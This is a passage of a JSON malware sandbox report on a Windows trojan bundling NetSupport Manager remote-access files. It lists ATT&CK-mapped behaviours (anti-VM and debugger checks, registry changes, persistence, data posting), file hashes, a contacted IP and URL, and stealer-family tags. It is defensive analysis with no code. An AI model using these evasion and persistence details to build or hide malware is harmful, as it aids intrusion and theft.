\"RegDeleteKeyA\" in file \"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272\"\n Found registry deletion API: \"RegDeleteValueA\" in file \"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272\"\n Found registry deletion API: \"RegDeleteKeyTransactedA\" in \"00000000-00001236.00000002.84690.11193000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteKeyExA\" in \"00000000-00001236.00000002.84690.11193000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteValueA\" in \"00000000-00001236.00000002.84690.11193000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteKeyA\" in \"00000000-00001236.00000002.84690.11193000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteKeyW\" in \"00000000-00006116.00000000.80349.6D4B1000.00000020.mdmp\"\n Found registry deletion API: \"RegDeleteKeyExW\" in \"00000000-00006116.00000000.80349.6D4B1000.00000020.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: 33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"System Security","name":"Contains reference to Hijacked CLSID(s)","description":"Observed string: \"CLSID\\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}\" (Indicator: \"{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}\") in Source: 00000000-00001236.00000001.82769.00300000.00000004.mdmp\n 00000000-00001236.00000002.84690.00300000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1546.015","relevance":1,"id":"string-342","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe\" opened \"\\Device\\KsecDD\"\n \"bild.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$63","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Unusual Characteristics","name":"Detected known bank URL artifact","description":"\"www.credit-agricole.fr\" (Source: 00000000-00001236.00000001.82769.00300000.00000004.mdmp, 00000000-00001236.00000002.84690.00300000.00000004.mdmp, Indicator: \"credit-agricole.fr\")\n \"capitalone.com\" (Source: 00000000-00001236.00000001.82769.00300000.00000004.mdmp, 00000000-00001236.00000002.84690.00300000.00000004.mdmp, Indicator: \"capitalone.com\")","origin":"File/Memory","relevance":2,"id":"string-23","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"$64","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Possibly checks for known debuggers/analysis tools","description":"Found string \":\\Windows\\system32\\DBGHELP.DLL\" (Indicator: \"dbghelp.dll\"; Source: \"00000000-00001236.00000000.80845.00300000.00000004.mdmp, 00000000-00001236.00000001.82769.00300000.00000004.mdmp, 00000000-00001236.00000002.84690.00300000.00000004.mdmp\")\n Found string \"DBGHELP.DLL\" (Indicator: \"dbghelp.dll\"; Source: \"00000000-00001236.00000002.84690.11193000.00000002.mdmp\")\n Found string \"dbghelp.dll\" (Indicator: \"dbghelp.dll\"; Source: \"00000000-00001236.00000002.84690.11193000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":2,"id":"string-5","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to query CPU information","description":"cpuid at 00000000-00006116-63370-21-0130D8B6","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":10,"id":"stream-13","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve a module handle","description":"GetModuleHandleW@KERNEL32.dll at 62245-1276-0041C7FD\n GetModuleHandleExW@KERNEL32.DLL at 00000000-00006116-63370-120-01314ADF\n GetModuleHandleW@KERNEL32.DLL at 00000000-00006116-63370-129-01314A9B\n GetModuleHandleW@KERNEL32.DLL at 00000000-00006116-63370-424-012FCE48\n GetModuleHandleW@KERNEL32.DLL at 00000000-00006116-63370-657-0130C131\n GetModuleHandleW@KERNEL32.DLL at 00000000-00006116-63370-672-012FF353\n GetModuleHandleW@KERNEL32.DLL at 00000000-00006116-63370-678-0130C7FD","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":5,"id":"stream-121","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve open application windows","description":"GetWindowTextW@USER32.DLL at 00000000-00006116-63370-263-012FCED7","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1010","relevance":3,"id":"stream-125","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure","description":"GetStartupInfoW@KERNEL32.dll at 62245-1412-00427056\n GetStartupInfoW@KERNEL32.DLL at 00000000-00006116-63370-735-0130DB90\n GetStartupInfoW@KERNEL32.DLL at 00000000-00006116-63370-902-01317056","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1543","relevance":5,"id":"stream-133","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve the specified system metric or system configuration setting","description":"GetSystemMetrics@USER32.DLL at 00000000-00006116-63370-263-012FCED7","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":5,"id":"stream-122","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a reference to a WMI query string known to be used for VM detection","description":"$65","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-55","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"8/27 Antivirus vendors marked sample as malicious (29% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"FindResourceW@KERNEL32.DLL at 00000000-00006116-63370-424-012FCE48\n FindResourceW@KERNEL32.DLL at 00000000-00006116-63370-648-01308BD0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1005","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match - RMM tools","description":"YARA signature to detect netsupport_manager RMM tool file \"pcicapi.dll\"\n YARA signature to detect netsupport_manager RMM tool file \"PCICHEK.DLL\"\n YARA signature to detect netsupport_manager RMM tool file \"remcmdstub.exe\"\n YARA signature to detect netsupport_manager RMM tool file \"HTCTL32.DLL\"\n YARA signature to detect netsupport_manager RMM tool file \"bild.exe\"\n YARA signature to detect netsupport_manager RMM tool file \"PCICL32.DLL\"\n YARA signature to detect netsupport_manager RMM tool file \"TCCTL32.DLL\"","origin":"YARA Signature","mitre_attack_id":"T1219","relevance":5,"id":"yara-557","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]}],"incidents":[{"name":"Spyware","details_count":2,"details":[{"detail":"POSTs data to a webserver"},{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"name":"Persistence","details_count":2,"details":[{"detail":"Writes data to a remote process"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"name":"Fingerprint","details_count":4,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"name":"Evasive","details_count":3,"details":[{"detail":"Marks file for deletion"},{"detail":"Possibly tries to evade analysis by sleeping many times"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"name":"Network","details_count":1,"details":[{"detail":"Calls an API typically used to create a HTTP or FTP session"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]}],"intel_graph":{"map":{"Domain:geo.netsupportsoftware.com":{"type":"Domain","value":"geo.netsupportsoftware.com"},"File:00c6bbb167b8efc43f9f4d5d9e8674040c634e71737b7e99c9630a2513e1a1cf":{"type":"File","value":"00c6bbb167b8efc43f9f4d5d9e8674040c634e71737b7e99c9630a2513e1a1cf"},"File:0bd4dc8b66c588f715b117021ef14c959e396f5cc6041f885f0d121401bc267a":{"type":"File","value":"0bd4dc8b66c588f715b117021ef14c959e396f5cc6041f885f0d121401bc267a","filetype":"ASCII text, with CRLF line terminators","filetype_short":"ASCIITEXT","mime_type":"text/plain"},"File:2050cc232710a2ea6a207bc78d1eac66a4042f2ee701cdfeee5de3ddcdc31d12":{"type":"File","value":"2050cc232710a2ea6a207bc78d1eac66a4042f2ee701cdfeee5de3ddcdc31d12","filetype":"ASCII text, with CRLF line terminators","filetype_short":"ASCIITEXT","mime_type":"text/plain"},"File:26dbb528c270c812423c3359fc54d13c52d459cc0e8bc9b0d192725eda34e534":{"type":"File","value":"26dbb528c270c812423c3359fc54d13c52d459cc0e8bc9b0d192725eda34e534"},"File:2baf6103ca9a10f2a7d6f650052d0deb08e34bb114871a212bf47cfba711b126":{"type":"File","value":"2baf6103ca9a10f2a7d6f650052d0deb08e34bb114871a212bf47cfba711b126","filetype":"DER Encoded PKCS#7 Signed Data","filetype_short":"PKCS7","mime_type":"application/octet-stream"},"File:313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a":{"type":"File","value":"313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a"},"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272":{"type":"File","value":"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","verdict":{"verdict":"malicious","verdict_source":"ClamAV Antivirus","reasons":["File reported as trojan by ClamAV antivirus"]},"filetype":"PE32 executable (GUI) Intel 80386, for MS Windows, 6 sections","filetype_short":"PE32","mime_type":"application/x-dosexec"},"File:3532d9001459bfee5303b8fff962bfe348da33f36e8f2baa6020423fba07fab1":{"type":"File","value":"3532d9001459bfee5303b8fff962bfe348da33f36e8f2baa6020423fba07fab1","filetype":"DER Encoded PKCS#7 Signed Data","filetype_short":"PKCS7","mime_type":"application/octet-stream"},"File:48bb37229db2c5a72984e545d591d5c87dec4fa5989eb7ae74c146cbe0adb446":{"type":"File","value":"48bb37229db2c5a72984e545d591d5c87dec4fa5989eb7ae74c146cbe0adb446","filetype":"DER Encoded PKCS#7 Signed Data","filetype_short":"PKCS7","mime_type":"application/x-x509-ca-cert"},"File:49a568f8ac11173e3a0d76cff6bc1d4b9bdf2c35c6d8570177422f142dcfdbe3":{"type":"File","value":"49a568f8ac11173e3a0d76cff6bc1d4b9bdf2c35c6d8570177422f142dcfdbe3","filetype":"PE32 executable (GUI) Intel 80386, for MS Windows, 4 sections","filetype_short":"PE32","mime_type":"application/x-dosexec"},"File:63aa18c32af7144156e7ee2d5ba0fa4f5872a7deb56894f6f96505cbc9afe6f8":{"type":"File","value":"63aa18c32af7144156e7ee2d5ba0fa4f5872a7deb56894f6f96505cbc9afe6f8","verdict":{"verdict":"suspicious","verdict_source":"static analysis","reasons":["Associated with known suspicious activity"]},"filetype":"PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, 7 sections","filetype_short":"PE32","mime_type":"application/x-dosexec"},"File:6795d760ce7a955df6c2f5a062e296128efdb8c908908eda4d666926980447ea":{"type":"File","value":"6795d760ce7a955df6c2f5a062e296128efdb8c908908eda4d666926980447ea","filetype":"PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, 5 sections","filetype_short":"PE32","mime_type":"application/x-dosexec"},"File:6c2a29c4a01a47bbe937c10463c6c099976e22d70ec25a67249d4742fef99eb1":{"type":"File","value":"6c2a29c4a01a47bbe937c10463c6c099976e22d70ec25a67249d4742fef99eb1","filetype":"DER Encoded PKCS#7 Signed Data","filetype_short":"PKCS7","mime_type":"application/octet-stream"},"File:7182655a9f8489e5b761c16192f3de1662114f7aa9938f87e0062f8859dae7f5":{"type":"File","value":"7182655a9f8489e5b761c16192f3de1662114f7aa9938f87e0062f8859dae7f5","filetype":"DOS batch file, ASCII text, with CRLF line terminators","filetype_short":"BAT","mime_type":"text/x-msdos-batch"},"File:8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18":{"type":"File","value":"8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18","verdict":{"verdict":"likely_benign","verdict_source":"observed prevalence","reasons":["Artifact present in goodlist","File found in known legitimate files database","File has very high prevalence"]},"filetype":"PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, 4 sections","filetype_short":"PE32","mime_type":"application/x-dosexec"},"File:8f1126d4d4ab9ab0bc3e9479906e9490ce128ada00db26f8bff4389627087ac9":{"type":"File","value":"8f1126d4d4ab9ab0bc3e9479906e9490ce128ada00db26f8bff4389627087ac9","filetype":"DER Encoded PKCS#7 Signed Data","filetype_short":"PKCS7","mime_type":"application/octet-stream"},"File:9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917":{"type":"File","value":"9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917","filetype":"PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, 5 sections","filetype_short":"PE32","mime_type":"application/x-dosexec"},"File:c9ff30910ad3ac602c440f25d0247b2fdcc32b6587cfcf845dfa87b8cb25410c":{"type":"File","value":"c9ff30910ad3ac602c440f25d0247b2fdcc32b6587cfcf845dfa87b8cb25410c","filetype":"DER Encoded PKCS#7 Signed Data","filetype_short":"PKCS7","mime_type":"application/octet-stream"},"File:d96856cd944a9f1587907cacef974c0248b7f4210f1689c1e6bcac5fed289368":{"type":"File","value":"d96856cd944a9f1587907cacef974c0248b7f4210f1689c1e6bcac5fed289368","filetype":"Windows setup INFormation","mime_type":"text/plain"},"File:edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796":{"type":"File","value":"edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796","filetype":"PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, 5 sections","filetype_short":"PE32","mime_type":"application/x-dosexec"},"Ip:104.26.0.231":{"type":"Ip","value":"104.26.0.231"},"Ip:104.26.1.231":{"type":"Ip","value":"104.26.1.231"},"Ip:45.61.128.74":{"type":"Ip","value":"45.61.128.74"},"Url:/location/loca.asp":{"type":"Url","value":"/location/loca.asp"},"Url:http://45.61.128.74/fakeurl.htm":{"type":"Url","value":"http://45.61.128.74/fakeurl.htm"}},"chains":[{"id":"1543577170422560106","root":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","edges":[],"verdict":{"verdict":"malicious","verdict_source":"ClamAV Antivirus","reasons":["File reported as trojan by ClamAV antivirus"]}},{"id":"1543577186379853680","root":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"File:0bd4dc8b66c588f715b117021ef14c959e396f5cc6041f885f0d121401bc267a"}],"verdict":{"verdict":"unknown"}},{"id":"1543577186379853679","root":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"File:2050cc232710a2ea6a207bc78d1eac66a4042f2ee701cdfeee5de3ddcdc31d12"}],"verdict":{"verdict":"unknown"}},{"id":"1543577186375659368","root":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"File:7182655a9f8489e5b761c16192f3de1662114f7aa9938f87e0062f8859dae7f5"}],"verdict":{"verdict":"unknown"}},{"id":"1543577186379853684","root":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"File:d96856cd944a9f1587907cacef974c0248b7f4210f1689c1e6bcac5fed289368"}],"verdict":{"verdict":"unknown"}},{"id":"1543577186379853678","root":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"File:49a568f8ac11173e3a0d76cff6bc1d4b9bdf2c35c6d8570177422f142dcfdbe3"},{"edge_kind":"extracted_from_archive","from_key":"File:49a568f8ac11173e3a0d76cff6bc1d4b9bdf2c35c6d8570177422f142dcfdbe3","to_key":"File:48bb37229db2c5a72984e545d591d5c87dec4fa5989eb7ae74c146cbe0adb446"}],"verdict":{"verdict":"unknown"}},{"id":"1543577186375659371","root":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"File:63aa18c32af7144156e7ee2d5ba0fa4f5872a7deb56894f6f96505cbc9afe6f8"},{"edge_kind":"extracted_from_archive","from_key":"File:63aa18c32af7144156e7ee2d5ba0fa4f5872a7deb56894f6f96505cbc9afe6f8","to_key":"File:3532d9001459bfee5303b8fff962bfe348da33f36e8f2baa6020423fba07fab1"}],"verdict":{"verdict":"unknown"}},{"id":"1543577186375659372","root":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"File:6795d760ce7a955df6c2f5a062e296128efdb8c908908eda4d666926980447ea"},{"edge_kind":"extracted_from_archive","from_key":"File:6795d760ce7a955df6c2f5a062e296128efdb8c908908eda4d666926980447ea","to_key":"File:c9ff30910ad3ac602c440f25d0247b2fdcc32b6587cfcf845dfa87b8cb25410c"}],"verdict":{"verdict":"unknown"}},{"id":"1543577186375659369","root":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"File:8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18"},{"edge_kind":"extracted_from_archive","from_key":"File:8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18","to_key":"File:6c2a29c4a01a47bbe937c10463c6c099976e22d70ec25a67249d4742fef99eb1"}],"verdict":{"verdict":"unknown"}},{"id":"1543577186379853685","root":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"File:9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917"},{"edge_kind":"extracted_from_archive","from_key":"File:9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917","to_key":"File:2baf6103ca9a10f2a7d6f650052d0deb08e34bb114871a212bf47cfba711b126"}],"verdict":{"verdict":"unknown"}},{"id":"1543577186379853683","root":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"File:edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796"},{"edge_kind":"extracted_from_archive","from_key":"File:edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796","to_key":"File:8f1126d4d4ab9ab0bc3e9479906e9490ce128ada00db26f8bff4389627087ac9"}],"verdict":{"verdict":"unknown"}},{"id":"1543577209069927026","root":"File:8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18","edges":[],"verdict":{"verdict":"likely_benign","verdict_source":"observed prevalence","reasons":["Artifact present in goodlist","File found in known legitimate files database","File has very high prevalence"]}},{"id":"sandbox_network","root":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","edges":[{"edge_kind":"contacted_ip","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"Ip:45.61.128.74"},{"edge_kind":"contacted_ip","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"Ip:104.26.1.231"},{"edge_kind":"contacted_ip","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"Ip:104.26.0.231"},{"edge_kind":"contacted_domain","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"Domain:geo.netsupportsoftware.com"},{"edge_kind":"resolves_to","from_key":"Domain:geo.netsupportsoftware.com","to_key":"Ip:104.26.1.231"},{"edge_kind":"contacted_url","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"Url:http://45.61.128.74/fakeurl.htm"},{"edge_kind":"contacted_url","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"Url:/location/loca.asp"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","edges":[{"edge_kind":"extracted","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"File:63aa18c32af7144156e7ee2d5ba0fa4f5872a7deb56894f6f96505cbc9afe6f8"},{"edge_kind":"extracted","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"File:49a568f8ac11173e3a0d76cff6bc1d4b9bdf2c35c6d8570177422f142dcfdbe3"},{"edge_kind":"extracted","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"File:8f1126d4d4ab9ab0bc3e9479906e9490ce128ada00db26f8bff4389627087ac9"},{"edge_kind":"extracted","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"File:2050cc232710a2ea6a207bc78d1eac66a4042f2ee701cdfeee5de3ddcdc31d12"},{"edge_kind":"extracted","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"File:edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796"},{"edge_kind":"extracted","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"File:3532d9001459bfee5303b8fff962bfe348da33f36e8f2baa6020423fba07fab1"},{"edge_kind":"extracted","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"File:6795d760ce7a955df6c2f5a062e296128efdb8c908908eda4d666926980447ea"},{"edge_kind":"extracted","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"File:8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18"},{"edge_kind":"extracted","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"File:48bb37229db2c5a72984e545d591d5c87dec4fa5989eb7ae74c146cbe0adb446"},{"edge_kind":"extracted","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"File:7182655a9f8489e5b761c16192f3de1662114f7aa9938f87e0062f8859dae7f5"},{"edge_kind":"extracted","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"File:2baf6103ca9a10f2a7d6f650052d0deb08e34bb114871a212bf47cfba711b126"},{"edge_kind":"extracted","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"File:0bd4dc8b66c588f715b117021ef14c959e396f5cc6041f885f0d121401bc267a"},{"edge_kind":"extracted","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"File:c9ff30910ad3ac602c440f25d0247b2fdcc32b6587cfcf845dfa87b8cb25410c"},{"edge_kind":"extracted","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"File:d96856cd944a9f1587907cacef974c0248b7f4210f1689c1e6bcac5fed289368"},{"edge_kind":"extracted","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"File:6c2a29c4a01a47bbe937c10463c6c099976e22d70ec25a67249d4742fef99eb1"},{"edge_kind":"extracted","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"File:9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917"},{"edge_kind":"extracted","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"File:313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a"},{"edge_kind":"extracted","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"File:26dbb528c270c812423c3359fc54d13c52d459cc0e8bc9b0d192725eda34e534"},{"edge_kind":"extracted","from_key":"File:33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272","to_key":"File:00c6bbb167b8efc43f9f4d5d9e8674040c634e71737b7e99c9630a2513e1a1cf"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":4,"spawned_processes_count":4,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":10,"imported_dlls_count":159,"dropped_files_count":0,"extracted_files_count":19,"files_written_count":28,"files_deleted_count":0,"registry_keys_created_count":2,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":2,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":3,"dns_resolutions_count":1,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":["badjoke","cassini_539ed36b","chromepass","crypt","cryptor","downloader","redline","remoteutilities","sabsik","slipafext","wacatac","zurgop","evasive","windows-server-utility","caynamer","wacapew","adware"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6a898fcbe16b3652730b64a9","environment_id":100,"environment_description":"Windows 7 32 